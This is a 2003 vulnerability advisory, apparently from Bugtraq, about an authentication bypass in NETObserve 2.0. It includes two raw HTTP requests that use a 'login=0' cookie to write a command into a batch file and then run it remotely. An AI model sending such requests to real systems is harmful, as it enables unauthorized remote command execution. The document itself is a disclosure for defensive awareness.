NETObserve Authentication Bypass Vulnerability

Bugtraq ID:	9319
Class:	Access Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Dec 29 2003 12:00AM
Updated:	Dec 29 2003 12:00AM
Credit:	Discovery of this issue is credited to "Peter Winter-Smith" <[email protected]>.
Vulnerable:	ExploreAnywhere Software NETObserve 2.0
Not Vulnerable:

NETObserve Authentication Bypass Vulnerability

NETObserve is prone to a vulnerability that may permit remote unauthenticated users to access functions of the software. Due to the nature of the software, this could permit an attacker to execute commands remotely on an underlying system running the software. This may also expose privileged information about the system and its users. Successful exploitation will result in remote compromise of the system.

NETObserve Authentication Bypass Vulnerability

The following example requests were provided:

REQUEST #1:

--------------------------------------------------------------------------
POST /sendeditfile HTTP/1.1
Accept: */*
Referer: http://127.0.0.1/editfile=?C:\WINDOWS\win.bat?
Content-Type: application/x-www-form-urlencoded
Host: AnyHostWillDo
Content-Length: 25
Cookie: login=0

newfiledata=cmd+%2Fc+calc
--------------------------------------------------------------------------

REQUEST #2:

--------------------------------------------------------------------------
GET /runfile=?C:\windows\win.bat? HTTP/1.1
Accept: */*
Host: AnyHostWillDo
Cookie: login=0


--------------------------------------------------------------------------

NETObserve Authentication Bypass Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

NETObserve Authentication Bypass Vulnerability

References:

• NETObserve Homepage (ExploreAnywhere Software)
  
• NetObserve Security Bypass Vulnerability ("Peter Winter-Smith" )